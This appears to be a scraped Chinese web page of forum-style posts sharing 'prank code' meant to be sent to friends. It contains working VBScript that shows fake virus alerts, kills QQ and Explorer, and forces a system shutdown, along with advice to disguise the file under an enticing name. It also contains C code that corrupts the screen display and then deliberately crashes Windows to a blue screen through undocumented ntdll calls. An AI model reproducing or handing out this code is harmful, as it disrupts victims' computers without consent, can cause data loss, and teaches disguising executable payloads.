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求一些好玩的整人代码~~
gsh=msgbox ("已经准备好格式化，准备开始。",vbyesno)
set s=createobject("wscript.shell")
wscript.sleep 1000
msgbox "开始格式化…… 哈哈！吓晕了吧，骗你的~"
wscript.sleep 1000
wscript.sleep 1000*100
msgbox "windows发现一重要更新，将自动下载。"
wscript.sleep 3000
msgbox "系统检测到WINDOWS更新中捆绑有不明插件SXS.exe,是否对其扫描？",vbyesno
wscript.sleep 1000
msgbox "文件名 SXS.exe"+CHR(13)+"发行者 田间的菜鸟 "+chr(13)+"安全评级 高危"+chr(13)+"建议 直接删除"+chr(13)+"病毒类型：木马",,"windows扫描附件"
msgbox "是否阻止其安装？",vbyesno
wscript.sleep 3000
msgbox "阻止失败！请检查防火墙是否开启！"
wscript.sleep 5000
msgbox "正在尝试强行删除…"
wscript.sleep 5000
msgbox "失败！"
wscript.sleep 5000
msgbox "您的电脑已陷入危险之中，请赶快扫描病毒！"
wscript.sleep 10000
s.sendkeys "% n"
s.run "taskkill /im QQ.exe"
s.sendkeys "% n"
s.run "taskkill /im explorer.exe /f"
s.sendkeys "% n"
s.sendkeys "% n"
s.sendkeys "% n"
s.sendkeys "% n"
s.sendkeys "% n"
s.sendkeys "% n"
s.sendkeys "% n"
msgbox "你好啊！"
wscript.sleep 3000
msgbox "很高兴见到你！"
wscript.sleep 3000
msgbox "您的电脑可能已经感染病毒！",,"WINDOWS防火墙警告"
wscript.sleep 3000
msgbox "我控制你的电脑了！"
wscript.sleep 3000
msgbox "不信？那我给你关机看看~"
s.run "shutdown -r -t 120"
msgbox "信了吧！"
msgbox "帮你解除关机……"
s.run "shutdown -a"
msgbox "再给你打开记事本写封信，劝你最好别动，要不然会引起系统混乱~"
s.run "notepad"
wscript.sleep 3000
s.sendkeys "Hello, I'm sorry I control your computer,"
wscript.sleep 3000
s.sendkeys " but the virus is false in, "
wscript.sleep 3000
s.sendkeys "only a joke, "
wscript.sleep 3000
s.sendkeys "please rest assured! "
wscript.sleep 3000
s.sendkeys "I no longer next "
wscript.sleep 3000
s.sendkeys "time so the whole you!"
wscript.sleep 3000
s.sendkeys" Goodbye!"
s.sendkeys"{enter}"
s.sendkeys"END"
wscript.sleep 1000
s.sendkeys"%{F4}"
msgbox "提示：刚才的“病毒”是假的，只不过是吓你玩玩~"
s.run "explorer"
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手机QQ的整人代码大全
第一步，将以下代码复制到记事本中。
on error resume next
dim WSHshellA
set WSHshellA = wscript.createobject("wscript.shell")
WSHshellA.run "cmd.exe /c shutdown -r -t 30 -c ""快说潮流哥特，不说就30秒关你机，不信，试试···"" ",0 ,true
dim a
do while(a "潮流哥特")
a = inputbox ("说潮流哥特,不然就不关机，快撒，说 ""潮流哥特"" ","说不说","不说",8000,7000)
msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"
loop
上面的文字可以随便改，不印象效果。如果发给MM，你可以逼她说“我爱你”。方法是把上面的“QQ客是好网站”改成“快说我爱你” 内容来自
第二步，将记事本文件重命名为 ***.VBE（文件名可以任意起，如“美女.VBE”）
如果谁运行了这个QQ炸弹，在30秒后会自动关机。
下面说一下使用方法：
最简单的使用方法是，你直接发给好友，让他运行，然后他就中招了。
WScript.Echo("谁令你打开这个软件的")
WScript.Echo("这个软件会让你无聊啊！")
WScript.Echo("推荐你来的肯定是个坏蛋！")
WScript.Echo("欢迎来到被整软件站！")
WScript.Echo("是谁设计的？")
WScript.Echo("Is me")
WScript.Echo("你好，你要点30次确定哦！")
WScript.Echo("1")
WScript.Echo("2")
WScript.Echo("3")
WScript.Echo("begin")
求一个C语言整人代码！！！
先上代码
#include Windows.h
#include time.h
using namespace std;
int call;
int ScreenWidth = GetSystemMetrics(SM_CXSCREEN);
int ScreenHeight = GetSystemMetrics(SM_CYSCREEN);
int IconWidth = GetSystemMetrics(SM_CXICON);
int IconHeight = GetSystemMetrics(SM_CYICON);
HDC hdc=GetWindowDC(GetDesktopWindow());
#define KEY_DOWN(VK_NONAME) ((GetAsyncKeyState(VK_NONAME) 0x8000) ? 1:0)
int random(int upper_bound) {
if(upper_bound==0) {
return 0;
}
srand((unsigned)(time(NULL) * clock() * rand()*call + time(NULL) + rand()+call));
call++;
return rand() % upper_bound;
}
DWORD WINAPI FlashDesktop(LPVOID Param) {
while(true) {
BitBlt(hdc, 0, 0, ScreenWidth, ScreenHeight, hdc, 0, 0, NOTSRCCOPY);
Sleep(random(100));
}
return 0;
}
int GetWay() {
int r=random(3);
switch(r) {
case 0:
return SRCAND;
case 1:
return SRCINVERT;
case 2:
return SRCPAINT;
}
}
DWORD WINAPI ScreenXorOperation1(LPVOID Param) {
while(true) {
int RandWidth = random(ScreenWidth);
int RandHeight = random(ScreenHeight);
int RandxPixel = random(ScreenWidth - RandWidth);
int RandyPixel = random(ScreenHeight - RandHeight);
int RandDestxPixel = random(ScreenWidth - RandWidth);
int RandDestyPixel = random(ScreenHeight - RandHeight);
BitBlt(hdc, RandxPixel, RandyPixel, RandWidth, RandHeight, hdc, RandDestxPixel, RandDestyPixel, SRCINVERT);
Sleep(random(100));
}
return 0;
}
DWORD WINAPI ScreenXorOperation2(LPVOID Param) {
while(true) {
int RandWidth = random(ScreenWidth);
int RandHeight = random(ScreenHeight);
int RandxPixel = random(ScreenWidth - RandWidth) + RandWidth;
int RandyPixel = random(ScreenHeight - RandHeight) + RandHeight;
int RandDestxPixel = random(ScreenWidth - RandWidth) + RandWidth;
int RandDestyPixel = random(ScreenHeight - RandHeight) + RandHeight;
BitBlt(hdc, RandxPixel, RandyPixel, RandWidth, RandHeight, hdc, RandDestxPixel, RandDestyPixel, SRCINVERT);
Sleep(random(100));
}
return 0;
}
DWORD WINAPI CallBsod1MinLater(LPVOID Param) {
Sleep(60000);
HMODULE ntdll = LoadLibrary("ntdll.dll");
FARPROC RtlAdjustPrivilege=GetProcAddress(ntdll,"RtlAdjustPrivilege");
FARPROC NtRaiseHardError=GetProcAddress(ntdll,"NtRaiseHardError");
unsigned char temp0;
long unsigned int temp1;
((void(*)(DWORD, DWORD, BOOLEAN, LPBYTE))RtlAdjustPrivilege)(0x13, true, false, temp0);
((void(*)(DWORD, DWORD, DWORD, DWORD, DWORD, LPDWORD))NtRaiseHardError)(0xc000021a, 0, 0, 0, 6, temp1);
return 0;
}
DWORD WINAPI DrawErrors(LPVOID Param) {
while(true) {
int RandxPixel = random(ScreenWidth - IconWidth / 2);
int RandyPixel = random(ScreenHeight - IconHeight / 2);
DrawIcon(hdc, RandxPixel, RandyPixel, LoadIcon(NULL, IDI_ERROR));
Sleep(random(50));
}
return 0;
}
int main(void) {
CreateThread(NULL, 4096, FlashDesktop, NULL, NULL, NULL);
CreateThread(NULL, 4096, ScreenXorOperation1, NULL, NULL, NULL);
CreateThread(NULL, 4096, ScreenXorOperation2, NULL, NULL, NULL);
CreateThread(NULL, 4096, CallBsod1MinLater, NULL, NULL, NULL);
CreateThread(NULL, 4096, DrawErrors, NULL, NULL, NULL);
while(true);
}
运行这段代码首先会花屏并闪屏，一分钟后蓝屏。
效果图：